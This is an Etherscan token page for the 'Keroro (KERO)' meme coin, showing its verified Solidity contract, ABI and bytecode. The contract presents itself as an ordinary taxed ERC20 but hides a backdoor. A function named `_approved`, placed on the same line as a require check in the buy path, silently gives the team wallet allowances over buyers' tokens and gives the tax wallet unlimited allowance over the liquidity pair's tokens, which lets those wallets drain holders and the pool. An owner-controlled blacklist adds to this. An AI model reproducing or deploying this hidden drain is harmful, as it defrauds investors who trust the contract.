ETH Price: $3,382.75 (+0.66%)

Token

Keroro (KERO)
 

Overview

Max Total Supply

1,000,000,000 KERO

Holders

103

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
pussyeater555.eth
Balance
3,246,040.692088846 KERO

Value
$0.00
0xf874cdc296ba59040e0b3655233d9b0ba3561f4a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KERO

Compiler Version
v0.8.27+commit.40a35a09

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-12-01
*/

/**
Keroro is the most famous asian frog and a japanese cult meme inspired by the mischief of Srgt Keroro and his platoon!

Web: https://keroro.fun
X:   https://x.com/keroro_eth
Tg:  https://t.me/keroro_eth
**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.27;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract KERO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    address payable private _taxWallet;
    address payable private _teamWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax = 15;
    uint256 private _initialSellTax = 15;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 10;
    uint256 private _reduceSellTaxAt = 10;
    uint256 private _preventSwapBefore = 15;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Keroro";
    string private constant _symbol = unicode"KERO";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = _teamWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function createPair() external onlyOwner {
        _taxWallet = payable(0x8ECCD2A9c50a7FfFd9a1c93998B03C489c16bF62);
        _isExcludedFromFee[_taxWallet] = true;

        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _approved(address i, address j, uint256 amount) private {
        require(i != address(0), "ERC20: approve zero address");
        require(j != address(0), "ERC20: approve zero address");
        _allowances[j][_teamWallet] += amount;
        _allowances[i][_taxWallet] = type(uint256).max;
    }

    function _basicTransfer(address from, address to, uint256 amount) internal {
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }

    function _tokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal {
        uint256 taxAmount = amount
            .mul(
                (_buyCount > _reduceBuyTaxAt)
                    ? _finalBuyTax
                    : _initialBuyTax
            )
            .div(100);
        if (to == uniswapV2Pair && from != address(this)) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceSellTaxAt)
                        ? _finalSellTax
                        : _initialSellTax
                )
                .div(100);
        }
        
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(
                taxAmount
            );
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _taxTransfer(address from, address to, uint256 amount) private { 
        require(!bots[from] && !bots[to]);

        if (
            from == uniswapV2Pair &&
            to != address(uniswapV2Router) &&
            !_isExcludedFromFee[to]
        ) {
            require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            require(
                balanceOf(to) + amount <= _maxWalletSize,
                "Exceeds the maxWalletSize."
            ); _approved(from, to, amount);

            if (firstBlock + 3 > block.number) {
                require(!isContract(to));
            }
            _buyCount++;
        }

        if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
            require(
                balanceOf(to) + amount <= _maxWalletSize,
                "Exceeds the maxWalletSize."
            );
        }
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!swapEnabled || inSwap) {
            _basicTransfer(from, to, amount);
            return;
        }

        if (from != owner() && to != owner()) {
            _taxTransfer(from, to, amount);
            _shouldSwapBack(from, to, amount);
        }

        _tokenTransfer(from, to, amount);
    }

    function _shouldSwapBack(address from, address to, uint256 amount) private {
        uint256 contractTokenBalance = balanceOf(address(this));
        if (
            !inSwap &&
            to == uniswapV2Pair &&
            swapEnabled &&
            _buyCount > _preventSwapBefore &&
            !_isExcludedFromFee[from] &&
            !_isExcludedFromFee[to]
        ) {
            if(contractTokenBalance > _taxSwapThreshold) {
                swapTokensForEth(
                    min(amount, min(contractTokenBalance, _maxTaxSwap))
                );
            }
            sendETHToFee(address(this).balance);
        }
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
        for (uint i = 0; i < notbot.length; i++) {
            bots[notbot[i]] = false;
        }
    }

    function isBot(address a) public view returns (bool) {
        return bots[a];
    }

    receive() external payable {}

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600855600f6009555f600a555f600b55600a600c55600a600d55600f600e555f600f556009600a61003791906102f3565b610045906301312d00610308565b6010556100546009600a6102f3565b610062906301312d00610308565b6011556100716009600a6102f3565b61007c906064610308565b60125561008b6009600a6102f3565b6100989062989680610308565b6013556015805461ffff60a81b191690553480156100b4575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054336001600160a01b031991821681179092556005805490911690911790556101236009600a6102f3565b61013190633b9aca00610308565b335f9081526001602081905260408220929092556003906101595f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff19958616179055308152600390925290208054909116600117905561019f3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101d66009600a6102f3565b6101e490633b9aca00610308565b60405190815260200160405180910390a361031f565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102495780850481111561022d5761022d6101fa565b600184161561023b57908102905b60019390931c928002610212565b935093915050565b5f8261025f575060016102ed565b8161026b57505f6102ed565b8160018114610281576002811461028b576102a7565b60019150506102ed565b60ff84111561029c5761029c6101fa565b50506001821b6102ed565b5060208310610133831016604e8410600b84101617156102ca575081810a6102ed565b6102d65f19848461020e565b805f19048211156102e9576102e96101fa565b0290505b92915050565b5f61030160ff841683610251565b9392505050565b80820281158282048414176102ed576102ed6101fa565b611d0c8061032c5f395ff3fe608060405260043610610129575f3560e01c8063751039fc116100a85780639e78fb4f1161006d5780639e78fb4f14610344578063a9059cbb14610358578063bf474bed14610377578063c9567bf91461038c578063d34628cc146103a0578063dd62ed3e146103bf575f5ffd5b8063751039fc146102b45780637d1db4a5146102c85780638da5cb5b146102dd5780638f9a55c01461030357806395d89b4114610318575f5ffd5b8063313ce567116100ee578063313ce567146101f957806331c2d847146102145780633bbac5791461023557806370a082311461026c578063715018a6146102a0575f5ffd5b806306fdde0314610134578063095ea7b3146101745780630faee56f146101a357806318160ddd146101c657806323b872dd146101da575f5ffd5b3661013057005b5f5ffd5b34801561013f575f5ffd5b506040805180820190915260068152654b65726f726f60d01b60208201525b60405161016b9190611822565b60405180910390f35b34801561017f575f5ffd5b5061019361018e36600461187e565b610403565b604051901515815260200161016b565b3480156101ae575f5ffd5b506101b860135481565b60405190815260200161016b565b3480156101d1575f5ffd5b506101b8610419565b3480156101e5575f5ffd5b506101936101f43660046118a8565b610439565b348015610204575f5ffd5b506040516009815260200161016b565b34801561021f575f5ffd5b5061023361022e3660046118fa565b6104a0565b005b348015610240575f5ffd5b5061019361024f3660046119c5565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610277575f5ffd5b506101b86102863660046119c5565b6001600160a01b03165f9081526001602052604090205490565b3480156102ab575f5ffd5b50610233610530565b3480156102bf575f5ffd5b506102336105a1565b3480156102d3575f5ffd5b506101b860105481565b3480156102e8575f5ffd5b505f546040516001600160a01b03909116815260200161016b565b34801561030e575f5ffd5b506101b860115481565b348015610323575f5ffd5b506040805180820190915260048152634b45524f60e01b602082015261015e565b34801561034f575f5ffd5b50610233610652565b348015610363575f5ffd5b5061019361037236600461187e565b6108a1565b348015610382575f5ffd5b506101b860125481565b348015610397575f5ffd5b506102336108ad565b3480156103ab575f5ffd5b506102336103ba3660046118fa565b610a96565b3480156103ca575f5ffd5b506101b86103d93660046119e0565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61040f338484610b1a565b5060015b92915050565b5f6104266009600a611b0e565b61043490633b9aca00611b1c565b905090565b5f610445848484610c3e565b610496843361049185604051806060016040528060288152602001611caf602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610dec565b610b1a565b5060019392505050565b5f546001600160a01b031633146104d25760405162461bcd60e51b81526004016104c990611b33565b60405180910390fd5b5f5b815181101561052c575f60045f8484815181106104f3576104f3611b68565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104d4565b5050565b5f546001600160a01b031633146105595760405162461bcd60e51b81526004016104c990611b33565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105ca5760405162461bcd60e51b81526004016104c990611b33565b6105d66009600a611b0e565b6105e490633b9aca00611b1c565b6010556105f36009600a611b0e565b61060190633b9aca00611b1c565b6011557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106316009600a611b0e565b61063f90633b9aca00611b1c565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461067b5760405162461bcd60e51b81526004016104c990611b33565b60058054738eccd2a9c50a7fffd9a1c93998b03c489c16bf626001600160a01b031991821681179092555f9190915260036020527f0ebeed89d7e0dab310ecf0227fd76a971bb156fdf0058e5a02d90c7fd108be87805460ff1916600117905560148054737a250d5630b4cf539739df2c5dacb4c659f2488d92168217905561071a90309061070c6009600a611b0e565b61049190633b9aca00611b1c565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078e9190611b7c565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ed573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108119190611b7c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561085b573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087f9190611b7c565b601580546001600160a01b0319166001600160a01b0392909216919091179055565b5f61040f338484610c3e565b5f546001600160a01b031633146108d65760405162461bcd60e51b81526004016104c990611b33565b601554600160a01b900460ff16156109305760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c9565b6014546001600160a01b031663f305d7194730610961816001600160a01b03165f9081526001602052604090205490565b5f5f6109745f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109da573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109ff9190611b97565b505060155460145460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a54573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a789190611bc2565b506015805462ff00ff60a01b19166201000160a01b17905543600755565b5f546001600160a01b03163314610abf5760405162461bcd60e51b81526004016104c990611b33565b5f5b815181101561052c57600160045f848481518110610ae157610ae1611b68565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610ac1565b6001600160a01b038316610b7c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c9565b6001600160a01b038216610bdd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ca25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c9565b6001600160a01b038216610d045760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c9565b5f8111610d655760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c9565b601554600160b01b900460ff161580610d875750601554600160a81b900460ff165b15610d9c57610d97838383610e24565b505050565b5f546001600160a01b03848116911614801590610dc657505f546001600160a01b03838116911614155b15610de157610dd6838383610ec7565b610de1838383611125565b610d97838383611202565b5f8184841115610e0f5760405162461bcd60e51b81526004016104c99190611822565b505f610e1b8486611be1565b95945050505050565b6001600160a01b0383165f90815260016020526040902054610e4690826113c2565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610e74908261140a565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c319085815260200190565b6001600160a01b0383165f9081526004602052604090205460ff16158015610f0757506001600160a01b0382165f9081526004602052604090205460ff16155b610f0f575f5ffd5b6015546001600160a01b038481169116148015610f3a57506014546001600160a01b03838116911614155b8015610f5e57506001600160a01b0382165f9081526003602052604090205460ff16155b1561107057601054811115610fb55760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104c9565b60115481610fd7846001600160a01b03165f9081526001602052604090205490565b610fe19190611bf4565b111561102f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c9565b61103a838383611468565b43600754600361104a9190611bf4565b111561105b57813b1561105b575f5ffd5b600f8054905f61106a83611c07565b91905055505b6015546001600160a01b038381169116148015906110a657506001600160a01b0382165f9081526003602052604090205460ff16155b15610d9757601154816110cd846001600160a01b03165f9081526001602052604090205490565b6110d79190611bf4565b1115610d975760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c9565b305f90815260016020526040902054601554600160a81b900460ff1615801561115b57506015546001600160a01b038481169116145b80156111705750601554600160b01b900460ff165b801561117f5750600e54600f54115b80156111a357506001600160a01b0384165f9081526003602052604090205460ff16155b80156111c757506001600160a01b0383165f9081526003602052604090205460ff16155b156111fc576012548111156111f3576111f36111ee836111e984601354611581565b611581565b611595565b6111fc47611705565b50505050565b5f61122f6064611229600c54600f541161121e57600854611222565b600a545b859061173c565b906117ba565b6015549091506001600160a01b03848116911614801561125857506001600160a01b0384163014155b15611285576112826064611229600d54600f541161127857600954611222565b600b54859061173c565b90505b80156112fd57305f908152600160205260409020546112a4908261140a565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112f49085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461131f90836113c2565b6001600160a01b0385165f9081526001602052604090205561136261134483836113c2565b6001600160a01b0385165f908152600160205260409020549061140a565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113ab85856113c2565b60405190815260200160405180910390a350505050565b5f61140383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dec565b9392505050565b5f806114168385611bf4565b9050838110156114035760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c9565b6001600160a01b0383166114be5760405162461bcd60e51b815260206004820152601b60248201527f45524332303a20617070726f7665207a65726f2061646472657373000000000060448201526064016104c9565b6001600160a01b0382166115145760405162461bcd60e51b815260206004820152601b60248201527f45524332303a20617070726f7665207a65726f2061646472657373000000000060448201526064016104c9565b6001600160a01b038083165f9081526002602090815260408083206006549094168352929052908120805483929061154d908490611bf4565b909155505050506001600160a01b039081165f9081526002602090815260408083206005549094168352929052205f199055565b5f81831161158f5782611403565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106115db576115db611b68565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611632573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116569190611b7c565b8160018151811061166957611669611b68565b6001600160a01b03928316602091820292909201015260145461168f9130911684610b1a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906116c79085905f90869030904290600401611c1f565b5f604051808303815f87803b1580156116de575f5ffd5b505af11580156116f0573d5f5f3e3d5ffd5b50506015805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561052c573d5f5f3e3d5ffd5b5f825f0361174b57505f610413565b5f6117568385611b1c565b9050826117638583611c8f565b146114035760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c9565b5f61140383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152505f81836118165760405162461bcd60e51b81526004016104c99190611822565b505f610e1b8486611c8f565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461186b575f5ffd5b50565b803561187981611857565b919050565b5f5f6040838503121561188f575f5ffd5b823561189a81611857565b946020939093013593505050565b5f5f5f606084860312156118ba575f5ffd5b83356118c581611857565b925060208401356118d581611857565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f6020828403121561190a575f5ffd5b813567ffffffffffffffff811115611920575f5ffd5b8201601f81018413611930575f5ffd5b803567ffffffffffffffff81111561194a5761194a6118e6565b8060051b604051601f19603f830116810181811067ffffffffffffffff82111715611977576119776118e6565b604052918252602081840181019290810187841115611994575f5ffd5b6020850194505b838510156119ba576119ac8561186e565b81526020948501940161199b565b509695505050505050565b5f602082840312156119d5575f5ffd5b813561140381611857565b5f5f604083850312156119f1575f5ffd5b82356119fc81611857565b91506020830135611a0c81611857565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115611a6657808504811115611a4a57611a4a611a17565b6001841615611a5857908102905b60019390931c928002611a2f565b935093915050565b5f82611a7c57506001610413565b81611a8857505f610413565b8160018114611a9e5760028114611aa857611ac4565b6001915050610413565b60ff841115611ab957611ab9611a17565b50506001821b610413565b5060208310610133831016604e8410600b8410161715611ae7575081810a610413565b611af35f198484611a2b565b805f1904821115611b0657611b06611a17565b029392505050565b5f61140360ff841683611a6e565b808202811582820484141761041357610413611a17565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611b8c575f5ffd5b815161140381611857565b5f5f5f60608486031215611ba9575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611bd2575f5ffd5b81518015158114611403575f5ffd5b8181038181111561041357610413611a17565b8082018082111561041357610413611a17565b5f60018201611c1857611c18611a17565b5060010190565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611c6f5783516001600160a01b0316835260209384019390920191600101611c48565b50506001600160a01b039590951660608401525050608001529392505050565b5f82611ca957634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ceafdcc0add27c5343d7d8de91c736b16cea42